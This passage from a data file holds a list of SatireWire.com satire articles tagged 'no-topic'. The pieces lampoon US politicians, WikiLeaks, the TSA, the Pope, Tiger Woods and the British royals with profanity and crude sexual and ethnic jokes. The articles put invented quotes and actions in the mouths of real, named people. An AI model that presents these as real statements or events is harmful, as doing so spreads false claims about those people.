lost our ish and it’s time we took it back.” “If we don’t – God help us but if we don’t – well, this is what will happen,” said Beck, who then wrote the word ‘English’ on a blackboard, broke his chalk while circling the ending ‘ish’, then forcefully drew an arrow to the misspelled word ‘Venezuala.’ However, U.S. Constitutional scholars said even if the change were made, little can, or should, be done. “It doesn’t matter where the syllable came from, the language is still English,” said Yale University Prof. Henry Blomquist. “It’s really nothing to be upset about. It’s not as if they took the first few syllables of the Constitution and substituted it with their word for Constitu…” “… those bastards,” Blomquest added. '], ['no-topic', 'ELATED MCCAIN KISSES GENERALS AFTER TESTIMONY', 'WASHINGTON, D.C. (SatireWire.com) — Three of the four U.S. armed service chiefs told lawmakers Friday they opposed an immediate repeal of ‘Don’t Ask Don’t Tell,’ but their testimony was cut short when repeal opponent Sen. John McCain, seemingly overjoyed with their statements, leapt the dais and kissed each of the generals squarely on the mouth. Marine Gen. James Amos refused to move as McCain wrapped his arms around him. “Yes! Oh my God, yes! That’s what I’ve been saying!” McCain yelled as he hurled himself at the generals, who were explaining that they did not support homosexuals serving openly when the country was at war. “Give Johnnie some sugar!” the senator added, then proceeded to kiss noticeably shocked Air Force Gen. Norton A. Schwartz, Marine Corps Gen. James F. Amos, and Army Chief of Staff Gen. George W. Casey Jr. Chief of Naval Operations Adm. Gary Roughead, who had told the committee he supported repeal, was rebuffed. “Nothing for you!” McCain snipped, throwing the admiral what Roughead later insisted was as a testy glare. McCain has stubbornly opposed repeal of the law, which prohibits homosexuals from serving openly. Despite testimony in favor of repeal from Defense Secretary Robert Gates and Joint Chiefs of Staff Chairman Adm. Mike Mullen, McCain had been insisting the heads of each service needed to voice their opinions. When they did so in McCain’s favor, he seemingly could not contain himself and liplocked the generals. “Whoa now, stand down sailor!” roared Gen. Schwartz, angrily wiping his mouth. “What the hell was that about?” “No no no no no … aw Jesus Christ!” shouted Gen. Casey as he attempted, and failed, to push the Arizona Republican away. Committee Chairman Sen. Carl Levin loudly gaveled the meeting to a close, which he had threatened to do several times due to McCain’s behavior during the proceedings. McCain blows a kiss toward Army Chief of Staff George Casey. As the generals were entering the committee room, McCain was heard to whisper, “Oh my God it’s them it’s them,” to a staffer before standing up and screaming, “I love you guys!” so loudly that Levin had to gavel him down. McCain stifled his outbursts but continued to wave at the three military chiefs whenever one of them looked his way. “He wasn’t just waving. He was blowing me kisses,” Amos said after. “That was… awkward.” “He was making eyes at me,” said Schwartz. “I’m in the Army and I know when a man is making eyes at me. He was making eyes at me.” McCain’s unusual interest in Schwartz became apparent early on as the committee members, each in turn, welcomed the Army leader. MCCAIN: General, I want to thank you for coming to speak to this committee. You look hot. SCHWARTZ: It is a little warm in here. MCCAIN: That’s not what I mean. LEVIN (gaveling): Order! Order! MCCAIN: OK, I’ll take one of him, one of him, and one of him! The surprising behavior caused several in attendance to question the senator’s sexuality, which had never come under scrutiny before, including during his 23-year Navy career. McCain, however, gruffly refused to address the issue when approached later. “Don’t ask,” he said. '], ['no-topic', 'CONGRESS VOTES TO GO FUCK ITSELF', 'WASHINGTON D.C. (SatireWire.com) – In a historic sign that Washington finally understands what the American people want, Congress today voted to go fuck itself. Senate Minority Leader Mitch McConnell uses hand gestures to explain where Congress might have to go fuck itself. The bipartisan bill, which passed unanimously in the House and the Senate, came about after members of both parties — frustrated by endless bickering and obduracy – polled constituents and asked what their top priority was. “We explained to the voters what needed to be done to fix this country, then we told them there was no way we were going to do those things,” said GOP House leader John Boehner. “Their answer was clear: ‘In that case, go fuck yourselves.’” Outgoing House Speaker Nancy Pelosi said the mandate crossed racial, ethnic, and gender lines. “America is the most dynamic, most diverse country in the world, but today the American people spoke as one, and we listened,” Pelosi said. “I am proud to be part of the first Congress in the history of the United States that will go fuck itself.” Prior to the vote, the same legislators who had failed to agree on tax cuts, Social Security, the deficit, and dozens of other issues, urged one another to unite behind a single cause. “At this critical time in our nation’s history, do we just sit back and do nothing?” asked Senate Majority Leader Harry Reid. “Do we allow partisanship and special interests to keep us from fucking ourselves? No. We were sent here to do a job, and we’re going to do that job. I say that euphemistically, of course.” Rep. Charles Rangel (D-NY), recently censured by the House for numerous ethics violations, chose to soften the blow for any colleagues who were unsure. “The American people want us to go fuck ourselves. That’s a fact,” said Rangel as legislators listened in silence. “Now some of you may be thinking, ‘Hmmm, I don’t know. Does it hurt?’ Well let me tell you something. I have fucked myself pretty bad, and I’m still standing.” The motion passed unanimously, although the two parties were at odds over which should get credit for the legislation. Rep. Rosa DeLauro, (D-CT), insisted President Obama originated the idea, telling Democratic House leaders to go fuck themselves as early as 2009. “The last time he even had pictures,” she said. But Rep. Michelle Bachman, (R-MN), scoffed at that contention. “Republicans like me caused this gridlock, and Republicans like me can take credit for this bill,” she said. “And please, let’s dispel the notion that this is some new Progressive idea. Everyone knows people have wanted Congress to go fuck itself for years.” Bachman has history on her side. In fact, the desire for a representative body to go fuck itself predates the United States. “GO BEFOOKE YE PERSONS” In 1604, an English Catholic named Guy Fawkes, speaking to the House of Lords, told the body to “go forth and befooke ye persons, if it please ye.” When the Lords refused, Fawkes and others attempted to blow up Parliament in the infamous Gunpowder Plot of 1605. In the New World, in 1775, the wives of the Continental Congress in Philadelphia, choosing a more discreet path, told their missing husbands to ‘prithee perform oathes and imprecations upon thyselves, for all we do care naught.” From that point on, the public yearning for the U.S. Congress to harm itself became increasingly popular, and increasingly frustrating. In 1813, angered by a losing war with Britain, most Americans wanted the 13th Congress to “beat upon itself with a Sodomite stick,” but the House and Senate could not agree on the dimensions of the stick, or proper method of manufacture, and the bill died in committee. In 1861, during a wave of anti-immigrant fervor, the 37th Congress bravely refused to do the public’s bidding and “go choke on an Irishman,” noting that the country was split between Midwesterners, who wished it to “choke on a German,” and Far Westerners, who preferred it “choke on a Chinaman.” This impasse led to the famed Second Missouri Compromise, which called for Congress to “choke itself on a colored person if no proper foreign person can be obtained.” The Civil War thwarted any chance of passage, as all Americans were needed to die on the battlefield. The tradition of obstinacy continued as the 49th (Imprison Itself) the 55th (Hang Itself), the 64th (Shit Itself), and the 71st (Go Shit Itself, Then Hang Itself, Then Imprison Itself) Congresses all refused to obey the public. The modern day interpretation to “go fuck itself” was first suggested in 1948, during the 80th Congress. Known as the Do-Nothing Congress, its legislators refused to introduce a bill even though 52 percent of the voters and President Harry Truman wanted the legislature to go fuck itself, the latter 219 times a day, still believed to be a record. But all that ended today as the 111th Congress put its stamp on history. “Today we join the ranks of the Civil Rights Congress, the New Deal Congress, and the Suffrage Congress,” Rep. Joe Barton (D-TX) said on the House floor after the votes were tallied. “Today we are forevermore the Congress that fucked itself. I yield the remainder of my time to my colleague from Pennsylvania, who will demonstrate.” President Obama is expected to sign the legislation Monday in a Rose Garden ceremony closed to the public for decency reasons. '], ['no-topic', 'WIKILEAKS: GITMO PRISONERS “THE NEW BLACK”', '“US embassy cables: US talks up Belgium in effort to get it to take Guantánamo detainees” – The Guardian “Belgium was told accepting more prisoners would be a ‘low-cost way’ to ‘attain prominence in Europe.” – Reuters “For the past few months, Embassy Brussels has been working to set the stage for a change in Belgium’s self-concept as a small, meek country… to a country that can show leadership in Europe.” – U.S. Embassy cable, Nov. 24, 2009 U.S. EMBASSY CABLE Tue. 24 Nov. 2009, 14:00 MEETING: U.S. – BELGIUM AMBASSADORS, NATO HQ BRUSSELS SUBJECT: HOW GUANTANAMO PRISONERS CAN INCREASE BELGIUM’S STATUS S E C R E T. NOFORN. TDTM. RUH? TAGS: SIPDIS, WTF? NFI, OMG, NSFW, FUBAR, STFU, NO YOU STFU TRANSCRIPT: SATIREWIRE.COM U.S.: Hello. Thanks for coming in. Remind me again, you are…? BELGIUM: Belgium. U.S: Yes. OK. And if I ask you to describe yourself in a word, what would it be? BELGIUM: Belgium. U.S: No, I mean are you ‘cool?’ Are you ‘in?’ Are you one of the ‘It’ countries in Europe? BELGIUM: Probably not. U.S: Exactly. I know I’ve never heard of you. But how would you like to become an ‘It’ country? How would you like to instantly up your prestige in Europe? Get invited to all the big conferences. Maybe even the G20? Really be somebody? BELGIUM: Sounds OK. U.S: Great. Then you gotta get one. BELGIUM: Get one what? U.S: A Guantanamoan. Latest thing. Very hot. BELGIUM: Guantana…? U.S: Moan. Guantanamoan. Meaning ‘from Guantanamo.’ In the Carribean. Oo la la, right? Everybody’s getting one this year. They’re the new black. BELGIUM: You mean a Guantanamo prisoner? A terrorist? U.S: Hey, shhhh. They’re not all terrorists. Probably. We’re not sure. So what do you say? One Guantanamoan for a thousand prestige points? BELGIUM: Prestige points? U.S: Yes. You collect them. Get 10,000 and can have your picture taken with President Obama. Very hip. Very ‘now.’ BELGIUM: What do you get for 1,000? U.S: Bristol Palin. BELGIUM: No thanks. U.S: Alright we’ll give you 10,000. Deal? BELGIUM: No. Those prisoners are dangerous. U.S.: “Dangerously cool” you mean. BELGIUM: We don’t want a terrorist. U.S: Guantanamoan. Look, they’ll fit right in. The orange jumpsuits? Orange is your national color, right? BELGIUM: Orange is Holland. U.S: You’re not Holland? BELGIUM: No, we’re Belgium. U.S: But you’re also known as the Netherlands? BELGIUM: No that’s Holland. We’re Belgium. U.S: What else are you called? BELGIUM: Belgium. U.S: Well there you go. You wanna be somebody, you need two names. We’re both the U.S. and America. In Europe it’s the same. Holland and the Netherlands. England and the U.K. See? Two names. So, you take a Guantanamoan, we’ll give you a second name. How about ‘Magic B?’ That’s a cool name. BELGIUM: No. And England is actually part of the… U.S: Look, I’m just trying to help you out here. You’re on the outside right now. But you take one Guantanamoan, boo-ya! You’re instantly on the map. All the popular countries are doing it. BELGIUM: Like? U.S: Um… Slovenia. Hungary… BELGIUM: They’re not popular. U.S: How about Bossanova? BELGIUM: You mean Bosnia. U.S: Also known as Bossanova. Now. They got a Guantanamoan, so they got this cool Latin dance name. That’s what happens. BELGIUM: No thanks. U.S: ‘Salsa’ is available. BELGIUM: No. U.S: Alright look. Take a prisoner, you can join NATO. BELGIUM: We’re already in NATO. U.S: Really? BELGIUM: Yes. We’re in NATO headquarters right now. In Belgium. U.S: That’s… Belgium? With a B? BELGIUM: Yes. U.S: Fascinating. I never see you at the meetings. BELGIUM: You make us sit at the little countries’ table. U.S: Still, if you’re in NATO you should speak up more. BELGIUM: I do speak up, but you always… U.S: Hmm… Belgium. Like ‘Bell’ and ‘Jim.’ ‘Ring the bell Jim!’ There. I’ve memorized it. Sorry, you were saying? BELGIUM: …interrupt me. U.S: Well of course I do. You’re nobody. See that’s my point. You need to take a Guantanamoan so you’re somebody. Give you a little gravitas, guarding an international terrorist. Protecting the world. You’ll be just like an itty bitty U.S. BELGIUM: We don’t want to be an itty bitty U.S. U.S: Of course you do. Don’t be silly. Alright, what do you want to be? BELGIUM: Belgium. U.S: Really? I don’t think so. They’re nobody. I only heard of them today. BELGIUM: No, we are Belgium, and we want to be Belgium. That’s it. U.S: Oh I see. No, when I say a country needs two names, it has to be two different names. Like Holland and the Netherlands. You can’t be Belgium and Belgium. Nice try though. BELGIUM: We’re not taking a Guantanamoan. U.S: Kanye. BELGIUM: What? U.S: I’ll let you be Kanye. Your cool second name. Hungary wanted that one, but I really think it suits a totally fly country like yours. BELGIUM: I have to go now. U.S: A million prestige points! We’ll Photoshop you into pictures of Abraham Lincoln. BELGIUM: No. U.S: OK, we’ll declare war on you. BELGIUM: You’ve no cause! U.S: That’s never stopped us. BELGIUM: Fine. We’ll take one Guantanamoan. But we still get the points. U.S: Of course. Well, this is excellent. Thanks for coming in Kanye. BELGIUM: Don’t call me that. U.S: I’m afraid I have to. I’ve forgotten who you are. '], ['no-topic', 'WIKILEAKS REVEAL U.S. IS JUST, LIKE, A TOTAL BITCH', "LONDON (SatireWire.com) – Much of the world was reportedly locked in its room crying a day after the release of a quarter-million U.S. embassy cables served to confirm what many have long suspected: that America is just, like, a total bitch. Foreign dipolmats said they probably should have been suspicious after seeing this poster in President Obama's office. In what amounts to a diplomatic corps diary, the superpower disses friends, plots against enemies and bullies weaker nations in its attempt to stay atop its international clique. The documents are also expected to reveal that the U.S. started the rumors that Spain is gay, Italy is two-faced, and Yemen is a slut. The U.S. has been in damage control for several days over the leaks, explaining to various allies that it “didn’t mean it” and was “just kidding around,” but the wounds cut deep. German Chancellor Angela Merkel, scorned as weak and self-centered, has reportedly closed herself up in a darkened bedroom and is inconsolable. “She keeps shouting ‘I’m ugly! I’m ugly! Leave me alone!’” said a German cabinet official. In Britain, Prime Minister David Cameron, criticized in one entry for his ‘lacking depth,’ is said to be devastated. “Oh my God, I cannot believe America said that about me!” a red-eyed Cameron reportedly muttered. “I thought we were friends!” Britain was also ridiculed for its “paranoia” about maintaining “special relationship status” with the U.S., which observers say is diplomatic-speak for “they’re so clingy and needy, it’s just gross.” The U.S. has publicly condemned the leaks as dangerous and irresponsible, while privately telling friends that Sweden, where WikiLeaks’ servers are based, is “a complete nerd” who is “just jealous that they’re not us.” Sweden denied the allegations, although it conceded it spends most Saturday nights at home playing Warhammer. Sweden also said that since the leaks, most of the cool countries won’t talk to it. Geopolitical bullying expert Elaine Klein said that type of reaction from America’s inner circle follows a known pattern. “There is a gang mentality and America is able to incite an entire clique through manipulation and fear,” Klein said. “No country wants to be next in line for ridicule. And for those that are a target, the scars of exclusion and abandonment never really go away.” While some documents are simply snarky – Vladimir Putin is called “rude”; Mahmoud Ahmadinejad is compared to Hitler; a Photoshopped picture of Yemen in a thong was transmitted around under the subject “Massive Slut” – others provide more detail into how America views the world. One 2008 diplomatic entry concerned the nation of Georgia, which approached U.S. embassy officials about joining NATO. “Georgia called today. Again,” the cable said. “Wants to join NATO. Yeah, right, like it could ever be in NATO. As if.” An embassy cable from 2009 details how Slovenia was coerced into taking one of the Guantanamo prison detainees. The cable begins: “Today we called up Slovenia and said President Obama was on the phone. They’re like, ‘Really?’ and we’re like, ‘Ha! Psyche! Why would the U.S. call you? Loser!’ It was too funny.” Embassy officials continued to make the calls for nearly 24 hours. “Finally Slovenia was like, “Stop it! Stop it!” and we were like, ‘OK, if you take one of our prisoners.’ And they did. Then we stuck Slovenia’s head in the toilet anyway.” Portuguese Finance Minister Fernando Teixeira dos Santos shared a particularly painful memory, outlined in the leaks, at the 2006 G20 Summit in Australia. “We’re not in the G20, ‘cause I guess we’re not ‘good enough,’ but anyway, Brazil lets me in and I try to sit down at America’s table,” dos Santas recalled. “So America says, ‘Oh look, it’s Poor-trugal. What are you doing here? Can’t afford a seat?” Then they all start snickering. Even Brazil! God I hate America.” Ironically, not appearing in the U.S. cables also proved upsetting. “I was up all night looking through the leaks, and we’re not in there. Ever,” moaned Guyana U.N. Ambassador Rodrigo Kipler. “God, they don’t even know we exist.” Kipler later called U.N. Secretary General Ban Ki-moon to complain, “but of course Ki-moon turns around and tells America, and America tells all its friends, and now everything is totally way worse,” Ki-moon said. “And my acne is back.” Perhaps the most revealing document is a December 2003 cable regarding the subterranean capture of Saddam Hussein in Iraq: “We found Hussein today. He was hiding underground. When asked what he was doing, he said the U.S. had been so horrible to him, he just wanted to crawl into a hole and die.” "], ['no-topic', 'RETAILERS REJOICE AS BLACK FRIDAY TRAMPLINGS UP 22 PERCENT', 'NEW YORK, N.Y. (SatireWire.com) – Retailers breathed a sigh of relief today as early Black Friday numbers indicated same-store tramplings were up 22 percent over last year. Retailers exchange high-fives after setting a one-day record for sales-related asphyxiations. Despite the bleak economy, consumers ventured out early to stampede over the bruised, lifeless bodies of weaker shoppers in order to take advantage of deep holiday discounts, often as much as 50 percent. Some stores reported bodies stacked up three and four deep within 20 minutes of opening their doors, the largest jump in a decade. Apple outlets were particularly hard hit. “My God, people are dying!” screamed Chicago Apple Store manager Ingrid Varney, as shoppers broke through a barricade to reach an iPad display. “We’ll need more cashiers!” Accurate Black Friday sales figures will not be available for several weeks, but observers say same-store tramplings are the best early indicator of consumer spending. “I don’t think sales themselves were up 22 percent, but I think this is a positive sign,” said retail analyst Beverly Lindsay. “Maybe I’m overly optimistic, but I think the American consumer is back. Well, not all of them. Not the dead ones. Obviously.” Shoppers in a crush outside a Virginia mall. Wal-Mart reported 342 casualties, including 61 greeters, by noon Friday, a ten-fold increase. But Wal-Mart CEO Mike Duke urged caution. “Most of our stores opened at midnight, which may have artificially inflated our numbers a little,” he said. “But we can say demand was vicious. Happy holidays.” Statistically, there were actually fewer stampedes this year than last, which should have led to a drop in tramplings. But Lindsay said the seeming contradiction is easily explained: “Yes, there were fewer stampedes, but people are heavier and slower this year, which evened things out.” In Morristown, Pa., Best Buy salesman Marvin Hamerlen said he will never look at Black Friday the same way again. “To be honest, I had kind of lost my holiday cheer,” said Hamerlen. “But then I saw all these idiots squashed together, dying to get in, and I thought, ‘Wow, it’s true what they say. You really can’t spell Christmas without ‘cram shit’.” '], ['no-topic', 'TSA: PASSENGERS CAN PUT GENITALIA IN LUGGAGE', 'WASHINGTON, D.C. (SatireWire.com) — Hoping to show it finally understands the problem, the TSA said today passengers sensitive to enhanced pat-downs will be allowed to put their genitals in checked luggage or carry on bags, which are scanned separately. Denver International Airport The policy is likely to meet resistance, however, as in a new CNN poll, 79 percent of Americans said their genitals don’t come off. Former Georgia congressman Bob Barr, who leads a group strongly opposed to enhanced screening techniques, said the latest announcement from the Transportation Security Administration is only a half-solution. “The checked baggage idea is a no-go,” said Barr. “People don’t like to travel without their genitals on them. It’s like your wallet or your keys or your passport. Not to mention that for NFL players, it’s a valid form of identification.” Barr added that people often put heavier items in checked luggage, which could damage genitalia if the luggage shifts. “You could be seriously hurting and you wouldn’t know it for hours,” he said. To avoid such a fate, some travel agents recommend that clients with particularly large or fragile genitals ship them ahead of time. TSA spokeswoman Gina Carloni, however, said checked luggage was only one option. Travelers who feel they might need their genitals during the flight can choose to place them in carry-on bags or in plastic bins along with other personal items. “We make people remove their belts, their shoes, their hats. Having them remove their genitals should not be a big deal,” said Carloni. Airline analyst Kendall Zebow agreed, although he warned there could be unforseen carry-on genital drawbacks. “Maybe a screener sees some suspicious genitals. Maybe they’re uncircumsized. ‘Why are you wearing a hood?’ It looks bad,” he said. “So the TSA agent is going to hold them up and ask, ‘Are these your genitals?’ I don’t know that I could identify mine.” There is, he added, another potential problem. “What if, in a rush to get to the gate, you forget them? If some guy lost his genitals, that would be tragic,” said Zebow, although he did not mention President Obama by name. '], ['no-topic', 'POPE TO GET MITRE RIBBED', "VATICAN CITY (SatireWire.com) — In the second revelation in as many days, Pope Benedict XVI announced today he not only supports condom use, but intends to promote the cause by getting his mitre ribbed. Pope Benedict XVI's mitre is made of Absolatex. In a Vatican statement, Benedict said he chose to spread the message through his mitre because it is a powerful symbol of the Holy See, because its height makes it clearly visible, and “because it is vibrator-shaped. Obviously.” The release reinforces the Pope’s pronouncement, in a new book, that condoms can be used to stop the spread of AIDS, citing as example a male prostitute. Conservative Catholics immediately tried to walk back the Pontiff’s words, insisting Benedict did not mean for women to use the contraceptive. But a statement today cleared up the uncertainty. “His Holiness wishes to make it clear that he was speaking of both homosexuals and heterosexuals,” said Vatican spokesman Father Franco Cavetelli. “To encourage the faithful and show his support for this new doctrine, he will add rippled undulations to his headdress. But probably not a reservoir tip. That might look odd.” The pronouncement sent shockwaves through the Church, which for decades has derided all forms of contraception. But Cardinal Marco Pirlo, speaking to a large group of assembled priests in St. Peter’s Square, explained there were limits to this new doctrine. “While His Holiness now supports the use of condoms, he wishes it known that he still is opposed to homosexual sex,” Pirlo said, to the visible disappointment of the priests, who wandered off muttering. While AIDS activists and liberal Catholics were excited by the shift, the move was no less welcomed by contraceptive makers, who have been waiting years for this moment. Within hours of the announcement, several manufacturers had already introduced condoms specifically geared to capture the untapped Catholic “condominus” market. Among the more than 20 brands already on shelves: Nun Shall Pass New brands geared for the Catholic condom market have exploded. SanctuWearMe Sexcommunication Annulment The Laity Killer Missionary Impossible Beatifence (with new Absolatex) Purge-atory Gospellant. The Dome of the Rock Resistine Chapel. Immaculate Contraception Hide the Bishopric Hail Mary (Extra-Longs) "], ['no-topic', 'IRELAND BECOMES MOST LOVEABLE NATION TO FAIL', 'DUBLIN, IRELAND (SatireWire.com) — Out of money and time, Ireland yesterday requested a financial bailout, becoming what analysts agreed is the most loveable country ever to go under. “Most countries that want a bailout are in Eastern Europe or Africa – blech,” said IMF President Dominique Strauss-Kahn. “But the Irish, they’re hilarious! And that accent. I could listen to them talk for hours.” “Of course right now they’re suffering, which is awful,” Strauss-Kahn continued. “But the general consensus is that the Irish will turn their suffering into a song, so we can’t lose.” “Honestly, that accent. For hours!” he added. "Hmm? Do we give money to Pakistan or Ireland? Tough one," says a sarcastic EC President Jose Manuel Barroso (center). Critics of the rescue package included Greece, which received a massive bailout last summer and insisted it was just as fun-loving as Ireland. European Commission President Jose Manuel Barrosso, however, pointed out the disparity: “When the Greeks get upset: riot. When the Irish get upset: pub. Why are we even discussing this?” The IMF, along with the European Commission, have agreed to give Ireland about €90 billion to keep their economy afloat. But the money does not come without strings, Straus-Kahn explained. “They have to reduce their debt as a percentage of GDP. They have to deleverage their banks. And they have to give us a limerick,” he said. Irish Prime Minister Brian Cowen held an emergency cabinet meeting last night to explain details of the agreement to his coalitions partners, who railed against the austerity measures and said there was ‘no feckin’ way’ they were going to sing Danny Boy. Cowen this morning took his government’s concerns to the European Commission, who are partners in the bailout. “With all due respect, Ireland is a vibrant, diverse, and technologically advanced nation,” Cowen told EC ministers. “There’s more to us than St. Patrick’s Day, Guinness, and jokes.” “Give us a song! Give us a song!” interrupted the EC’s Barroso. “Or else.” Cowen immediately launched into The Fields of Athenry. The EU and IMF are expected to release the money within two weeks if by that time the Irish government has offered a debt restructuring plan that begins with the words, ‘Paddy walks into a bar.’” '], ['no-topic', 'TIGER WOODS IS A TWIT(TER)', 'WINDEREMERE, FL (SatireWire.com) — His reputation destroyed by addictions to sex and himself, Tiger Woods began using his Twitter account today, his advisors hoping this chatty, down-to-earth persona will somehow make people forget he’s Tiger Woods. Below is the latest from Wood’s Twitter page, with tweets in reverse order. Tiger Woods __________________________________________________________________________________________________ Hey it’s me, Tiger. Tiger Woods. And I’m on Twitter! about 2 hours ago via web ___________________________________________________________________________________________________ So… yeah. I’m a real person now. Doing real person things. So we’re all cool? We good? Can I stop? Cause this is lame. about 1 hour ago via web ___________________________________________________________________________________________________ Sorry, handler alert! I’m not supposed to say it’s lame! It’s ‘important.‘ You’re important. I’m really important. about 1 hour ago via web ___________________________________________________________________________________________________ Right, no. I’m NOT really important. It’s important that you don’t think I think I’m more important. Than you. Say that. about 58 minutes ago via web ___________________________________________________________________________________________________ What? How do you ‘tweet sincerely’? OK, they’re all REAL important. about 58 minutes ago via web ___________________________________________________________________________________________________ Sorry, I was talking to someone else. I’m supposed to say ‘you.’ You are all real important. about 56 minutes ago via web ___________________________________________________________________________________________________ Except I’m not supposed to say ‘I’m supposed to say,’ so forget that part. about 55 minutes ago via web ___________________________________________________________________________________________________ And now I’m going to say, ‘Thanks for all the love.’ about 53 minutes ago via web ___________________________________________________________________________________________________ By which I mean like not sexually. Cause that’s in my past. about 52 minutes ago via web ___________________________________________________________________________________________________ Hang on I’m gonna take a Twitter Mulligan. about 49 minutes ago via web ___________________________________________________________________________________________________ Hey it’s me Tiger again. I’m just hangin’ out today. Sayin’ what’s on my normal humble mind. Just me ‘n Team Tiger. about 48 minutes ago via web ___________________________________________________________________________________________________ No! Don’t say Team Tiger! I mean, I didn’t say Team Tiger. I said my friends. Hangin’ with friends. Just like you have. Talkin bout my celebrity Q scores. Which are down in the sh… about 46 minutes ago via web ___________________________________________________________________________________________________ There’s a character limit? Damn, everybody’s tryin’ to limit me! about 45 minutes ago via web ___________________________________________________________________________________________________ Oh. 140 characters. I gotta be brief. Speaking of which, any briefs companies out there need a spokesperson? I’m pretty free at the mo. about 41 minutes ago via web ___________________________________________________________________________________________________ By which I don’t mean sexually. Cause that’s not who I am anymore. about 40 minutes ago via web ___________________________________________________________________________________________________ OK, right, just what’s on my mind. So, I played some golf this morning. Got in 18 holes. about 33 minutes ago via web ___________________________________________________________________________________________________ By which I don’t mean sexually. about 33 minutes ago via web ___________________________________________________________________________________________________ Something else. about 30 minutes ago via web ___________________________________________________________________________________________________ Sorry. I’m supposed to type ABOUT something else. But don’t type this .. Oh. about 28 minutes ago via web ___________________________________________________________________________________________________ Yeah, so, I hit the links with Federer and Jeter. In fact they closed the course for us. about 25 minutes ago via web ___________________________________________________________________________________________________ No! Hey, sorry, forget that! I don’t get to live by different rules. The same boundaries that apply to everyone apply to me. about 20 minutes ago via web ___________________________________________________________________________________________________ By which I don’t mean sexually. about 18 minutes ago via web ___________________________________________________________________________________________________ What? OK I do mean sexually. about 18 minutes ago via web ___________________________________________________________________________________________________ Jesus! Stop limiting my character! Fine, new subject. And smile. No don’t type that. about 15 minutes ago via web ___________________________________________________________________________________________________ Hey, cool! I’ve got like 200,000 followers already. about 12 minutes ago via web ___________________________________________________________________________________________________ By which I don’t mean sexually. about 10 minutes ago via web ___________________________________________________________________________________________________ What? You told me to type what’s on my mind! about 9 minutes ago via web ___________________________________________________________________________________________________ Sorry, I’m not speaking to anyone. And that’s not on my mind. Since the clinic. Now I focus on my core image. about 7 minutes ago via web ___________________________________________________________________________________________________ Values. Right. Core values. See I’m not the same Tiger. I’m the old Tiger again. But the Tiger you thought I was. Not the other old Tiger I really was. about 6 minutes ago via web ___________________________________________________________________________________________________ n’t. Wasn’t. Really wasn’t. about 5 minutes ago via web ___________________________________________________________________________________________________ Yup. Pretty happy now. I made some mistakes, but I finally got my head on straight. about 2 minutes ago via web ___________________________________________________________________________________________________ By which I don’t mean sexually. about 2 minutes ago via web ___________________________________________________________________________________________________ Sorry … Damn, this is hard. about 50 seconds ago via web ___________________________________________________________________________________________________ By which I don’t mean (account suspended) about 30 seconds ago via web '], ['no-topic', 'FUTURE QUEEN LOOKS FORWARD TO DESCENDING INTO LUNACY', 'LONDON (SatireWire.com) – In the first interview since her engagement to Prince William, presumptive Queen Consort Kate Middleton said today she looks forward to becoming a full-fledged member of the British royal family by going insane. “I know what the people expect of a royal,” the 28-year-old Kate told BBC News. “I’m happy and stable now, but I plan on being dysfunctional and psychotic and possibly even sleeping with the Horse Guard before the wedding next summer.” “She’ll be one of us,” William added. Kate and William smiling for the media that will destroy them. To that end, the future Princess of Wales said she was grateful that family assistance was close at hand. “I’ve got my new brother-in-law Harry, who dresses like a Nazi,” she said. “I’ve got my father-in-law, Prince Charles, who collects toilet seats and wants to be a tampon. And Prince Philip and Princess Michael have been teaching me how to make random racist comments and then laugh eerily about it.” Although the wedding announcement came this week, the two were engaged in October while on holiday. Sitting side by side, Kate and William recalled the moment fondly. “It was quite romantic,” she said. “We were in Africa, and he pulled out this gigantic ring and said, ‘Kate, marry me and I’ll make you the craziest woman in the world.’” “She didn’t answer right away,” William interjected, “And I remember thinking, ‘Oh God, is she up for it? Will she say yes? Will she say no? Will she stuff the ring up her nose and play ‘Jerusalem’ on her armpits for an hour?’” Fortunately, William said, Kate stuffed the ring up her nose and played ‘Jerusalem’ on her armpits for an hour. “It was magical. I immediately called Gran (Queen Elizabeth) to tell her, but she was taking a bubble bath with the Corgis.” Kate’s response in Africa was spontaneous, but she admitted she knew the day was coming. “Of course I’d already been preparing to join the family, learning offensive words for Pakistanis, making erotic mobile calls to the gardeners, and getting my slippers to have an argument. That last one is my own.” Although part of the House of Windsor, Kate said it was important that she “be her own nutter,” explaining: “I want to take my time, maybe study what some of my new ancestors did. I mean, Henry VIII beheaded his wives. The first Elizabeth apparently slept with a horse…” “Never proven,” William interrupted. “Yes, but look at (Charles’ wife) Camilla. Your family is obviously attracted to them.” Now matter what path to bedlam she takes, however, Palace observers say Kate will have to contend with the elephant in the rubber room: Princess Diana. Will Kate, in other words, be a reincarnation of “The People’s Psychotic Princess”? “I don’t think anyone is trying to make Kate fill Diana’s straight jacket,” said Daily Mail reporter Jonathan Risley. “Diana was bulimic and suicidal and had Charles. As for Kate, it’s too soon. I don’t think she knows what kind of crazy she’s going to be, but most important, I don’t think we in media know what kind of crazy we’re going to make her out to be.” '], ['no-topic', 'AIRPORT SCREENERS NOT THRILLED ABOUT TOUCHING YOU EITHER', 'SAN DIEGO (SatireWire.com) — Caught up in a privacy firestorm already immortalized by the phrase ‘Don’t touch my junk,’ airport screeners today pointed out that they’re not exactly thrilled to have to touch most of you, either. “It ain’t like we got the cast of ‘Glee’ coming through here every day,” said TSA employee Hillary Bent, working an x-ray scanner at San Diego International Airport. “It’s more like a casting call for ‘Ugly Betty.’” Surprisingly, TSA workers claim they are not excited by these images. Public anger has been growing since early fall, when the Transportation Security Administration introduced full-body scanners that use x-rays to produce what many consider naked images. Passengers refusing the scan must undergo an “enhanced pat-down,” an invasive process that has infuriated fliers who say the TSA is invading their privacy. Even the ACLU compared the searches to foreplay. But security screeners argue that critics are forgetting what most of us look like. “I spend up to eight hours a day staring at ill-tempered, out of shape, naked Americans,” said James Kernauer, a TSA agent in Philadelphia. “I don’t think that qualifies me for abuse. I think that qualifies me for ‘Worst Job in the World.’” Added Sheila Thompson, a screener at Chicago’s O’Hare International Airport. “I would only find this exciting if I was doing an obesity study.” After searching this passenger, the TSA agent did not ask for his phone number. Passenger William Hague, a pale, 52-year-old salesman from from Kansas City who was then being groped by Thompson, took offense. “This isn’t about how attractive people are,” Hague said. “It’s about how vulnerabl…lalalala walnuts! What was that for?” “Was it good for you?” Thompson asked. ” No,” said Hague. ” Tell me about it,” Thompson replied. Outrage over the new procedures reached a peak this week as a San Diego man refused to be scanned or have his genitals touched. The blogosphere has since been aflame with suspicions, including what happens to the body images. Some believe agents might turn around and sell the pictures on eBay. “Oh yeah, that’s a good idea,” said Kernauer. “Is there a category for hot, bald, pissed-off 45-year-old diabetics from Cleveland?” Houston TSA screener Todd Appleby said he is particularly baffled by allegations that TSA workers are sexually stimulated by the body scans. “People think I’m getting off, right? OK, I’m gonna be honest with you. I’ll tell you what I’m 